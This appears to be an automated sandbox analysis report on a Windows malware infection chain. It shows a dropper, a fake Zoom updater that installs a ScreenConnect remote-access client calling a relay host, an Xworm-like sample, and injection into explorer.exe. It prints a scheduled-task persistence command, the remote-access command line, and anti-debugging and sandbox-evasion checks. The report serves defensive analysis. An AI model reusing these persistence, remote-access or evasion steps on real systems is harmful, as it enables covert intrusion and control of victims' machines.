Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIBAE7.tmp-\ScreenConnect.Core.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsAuthenticationPackage.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\main\7z.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsCredentialProvider.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.Windows.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIBAE7.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsBackstageShell.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIBAE7.tmp-\Microsoft.Deployment.WindowsInstaller.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIBAE7.tmp-\ScreenConnect.Windows.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	Dropped PE file which has not been started: C:\Windows\Installer\MSIC335.tmp	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\MSIBAE7.tmp-\ScreenConnect.InstallerActions.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1016275001\e953dd76d3.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7668	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7640	Thread sleep count: 1110 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7640	Thread sleep time: -2221110s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7628	Thread sleep count: 315 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7628	Thread sleep time: -9450000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7660	Thread sleep count: 1140 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7660	Thread sleep time: -2281140s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7664	Thread sleep count: 1126 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7664	Thread sleep time: -2253126s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe TID: 7968	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe TID: 7972	Thread sleep count: 65 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe TID: 7972	Thread sleep count: 9791 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\X91lnt.exe TID: 7952	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe TID: 6460	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe TID: 2648	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Roaming\X91lnt.exe TID: 5496	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\X91lnt.exe TID: 7424	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6268	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4632	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6300	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5672	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\SysWOW64\msiexec.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	Code function: 22_2_0040367D GetFileAttributesW,SetLastError,FindFirstFileW,FindClose,CompareFileTime,		22_2_0040367D
Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	Code function: 22_2_004031DC FindFirstFileW,SetFileAttributesW,lstrcmpW,lstrcmpW,SetFileAttributesW,DeleteFileW,FindNextFileW,FindClose,SetFileAttributesW,RemoveDirectoryW,??3@YAXPAX@Z,??3@YAXPAX@Z,		22_2_004031DC

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\main\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\main\extracted

Source: skotes.exe, skotes.exe, 00000006.00000002.2967381283.00000000004D0000.00000040.00000001.01000000.00000007.sdmp, 74df2248d3.exe, 00000032.00000002.2801292524.0000000000DBE000.00000040.00000001.01000000.0000001F.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 74df2248d3.exe, 00000032.00000003.2773531840.0000000005A90000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: DisableGuestVmNetworkConnectivity
Source: ScreenConnect.ClientService.exe, 00000013.00000002.2968597168.0000000000F18000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlle
Source: skotes.exe, 00000006.00000002.2969394575.0000000000E19000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000002F.00000002.2756046562.00000000005AC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: skotes.exe, 00000006.00000002.2969394575.0000000000E19000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWn>
Source: 74df2248d3.exe, 00000032.00000003.2773531840.0000000005A90000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: EnableGuestVmNetworkConnectivity
Source: file.exe, 00000000.00000002.1752545973.00000000004D0000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1783330314.00000000004D0000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000002.00000002.1786749677.00000000004D0000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000002.2967381283.00000000004D0000.00000040.00000001.01000000.00000007.sdmp, 74df2248d3.exe, 00000032.00000002.2801292524.0000000000DBE000.00000040.00000001.01000000.0000001F.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: skotes.exe, 00000006.00000002.2969394575.0000000000DE7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: software1.exe, 00000007.00000002.2967700092.0000000000711000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: -b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: PING.EXE, 0000002E.00000002.2780121095.000001CA5898B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: file.exe, 00000000.00000003.1730751531.000000000133B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: War&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8
Source: software1.exe, 00000007.00000002.2975928910.000000001B200000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW %SystemRoot%\system32\mswsock.dlle="System.ServiceModel.Configuration.WebHttpEndpointCollectionElement, System.ServiceModel.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" />

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_050A0C70 Start: 050A0CFF End: 050A0CE2

0_2_050A0C70

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\explorer.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_050A07DB rdtsc

0_2_050A07DB

Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe

Code function: 22_2_00402665 LoadLibraryA,GetProcAddress,GetNativeSystemInfo,

22_2_00402665

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0031652B mov eax, dword ptr fs:[00000030h]		6_2_0031652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0031A302 mov eax, dword ptr fs:[00000030h]		6_2_0031A302

Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Roaming\X91lnt.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: 12.2.ZoomUpdateInstallerFull.exe.54a0000.6.raw.unpack, WindowsMemoryNativeLibrary.cs	Reference to suspicious API methods: WindowsNative.VirtualAlloc(attemptImageBase, dwSize, WindowsNative.MEM.MEM_COMMIT \| WindowsNative.MEM.MEM_RESERVE, WindowsNative.PAGE.PAGE_READWRITE)
Source: 12.2.ZoomUpdateInstallerFull.exe.54a0000.6.raw.unpack, WindowsMemoryNativeLibrary.cs	Reference to suspicious API methods: WindowsNative.LoadLibrary(loadedImageBase + ptr[i].Name)
Source: 12.2.ZoomUpdateInstallerFull.exe.54a0000.6.raw.unpack, WindowsMemoryNativeLibrary.cs	Reference to suspicious API methods: WindowsNative.GetProcAddress(intPtr, ptr5)
Source: 12.2.ZoomUpdateInstallerFull.exe.54a0000.6.raw.unpack, WindowsMemoryNativeLibrary.cs	Reference to suspicious API methods: WindowsNative.VirtualProtect(loadedImageBase + sectionHeaders[i].VirtualAddress, (IntPtr)num, flNewProtect, &pAGE)
Source: 12.2.ZoomUpdateInstallerFull.exe.54a0000.6.raw.unpack, WindowsExtensions.cs	Reference to suspicious API methods: HandleMinder.CreateWithFunc(WindowsNative.OpenProcess(processAccess, bInheritHandle: false, processID), WindowsNative.CloseHandle)
Source: 12.2.ZoomUpdateInstallerFull.exe.2db0000.0.raw.unpack, Program.cs	Reference to suspicious API methods: FindResource(moduleHandle, e.Name, "FILES")

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1860 base: 140000000 value: 4D
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1860 base: 140001000 value: 40
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1860 base: 1402DD000 value: 58
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1860 base: 14040B000 value: A4
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1860 base: 140739000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1860 base: 14075E000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1860 base: 14075F000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1860 base: 140762000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1860 base: 140764000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1860 base: 140765000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 1860 base: 2E0010 value: 00

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe

Thread register set: target process: 1860

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe "C:\Users\user\AppData\Local\Temp\1016235001\software1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe "C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe "C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe "C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "X91lnt" /tr "C:\Users\user\AppData\Roaming\X91lnt.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Local\Temp\ScreenConnect\24.3.7.9067\9e47e837d725d609\ScreenConnect.ClientSetup.msi"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe	Process created: unknown unknown

Source: unknown

Process created: C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe "c:\program files (x86)\screenconnect client (9e47e837d725d609)\screenconnect.clientservice.exe" "?e=access&y=guest&h=instance-m858nm-relay.screenconnect.com&p=443&s=3cd214b7-5aab-4db7-9625-6ab5da5d3fae&k=bgiaaackaabsu0exaagaaaeaaqavnkkvoj2a5owy72d6csgdkvhoedc4b57faj6hxr4f3mvrvri8w9ebpr76dnouoqoldhagn9jxlv1du9oytbuye5f22rxeykb5acdc8ergbska6qvctytw%2b3u%2fozjoqhckvuoa1wvuksct4fml%2fh6debklluxsqf5i5v%2be0%2fy69n3m%2byb6qbkosspdqfoez5pkmevz%2bp26yfgrbmqy7wbzp%2bnngjn34usdikav0rr4%2fos8uwkcpperznjyo7t3iiipbjgk9xyyo9latv0piviobyuvggw6fx9yr8im6fgvacp6h5r7ksqo5hs13%2bcfckjbsoce8r%2fzhsz0db93mjez"

Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe

Code function: 22_2_00402744 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

22_2_00402744

Source: software1.exe, 00000007.00000002.2972499104.00000000026D4000.00000004.00000800.00020000.00000000.sdmp, software1.exe, 00000007.00000002.2972499104.0000000002673000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'PING!<Xwormmm>Program Manager<Xwormmm>0
Source: software1.exe, 00000007.00000002.2972499104.00000000026D4000.00000004.00000800.00020000.00000000.sdmp, software1.exe, 00000007.00000002.2972499104.0000000002673000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: ScreenConnect.WindowsClient.exe, 00000014.00000000.2600360439.00000000009E2000.00000002.00000001.01000000.00000018.sdmp	Binary or memory string: Progman
Source: software1.exe, 00000007.00000002.2972499104.00000000026D4000.00000004.00000800.00020000.00000000.sdmp, software1.exe, 00000007.00000002.2972499104.0000000002673000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: PING!<Xwormmm>Program Manager<Xwormmm>0
Source: ScreenConnect.WindowsClient.exe, 00000014.00000000.2600360439.00000000009E2000.00000002.00000001.01000000.00000018.sdmp	Binary or memory string: Shell_TrayWnd-Shell_SecondaryTrayWnd%MsgrIMEWindowClass
Source: software1.exe, 00000007.00000002.2972499104.00000000026D4000.00000004.00000800.00020000.00000000.sdmp, software1.exe, 00000007.00000002.2972499104.0000000002673000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager2y
Source: software1.exe, 00000007.00000002.2972499104.00000000026D4000.00000004.00000800.00020000.00000000.sdmp, software1.exe, 00000007.00000002.2972499104.0000000002673000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 'PING!<Xwormmm>Program Manager<Xwormmm>0@
Source: skotes.exe, skotes.exe, 00000006.00000002.2967381283.00000000004D0000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: "*Program Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_002FD3E2 cpuid

6_2_002FD3E2

Source: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe

Code function: GetLastError,GetLastError,wsprintfW,GetEnvironmentVariableW,GetEnvironmentVariableW,GetLastError,??2@YAPAXI@Z,GetEnvironmentVariableW,GetLastError,lstrcmpiW,??3@YAXPAX@Z,??3@YAXPAX@Z,SetLastError,lstrlenA,??2@YAPAXI@Z,GetLocaleInfoW,_wtol,MultiByteToWideChar,

22_2_0040247D

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016235001\software1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe VolumeInformation	Jump to behavior
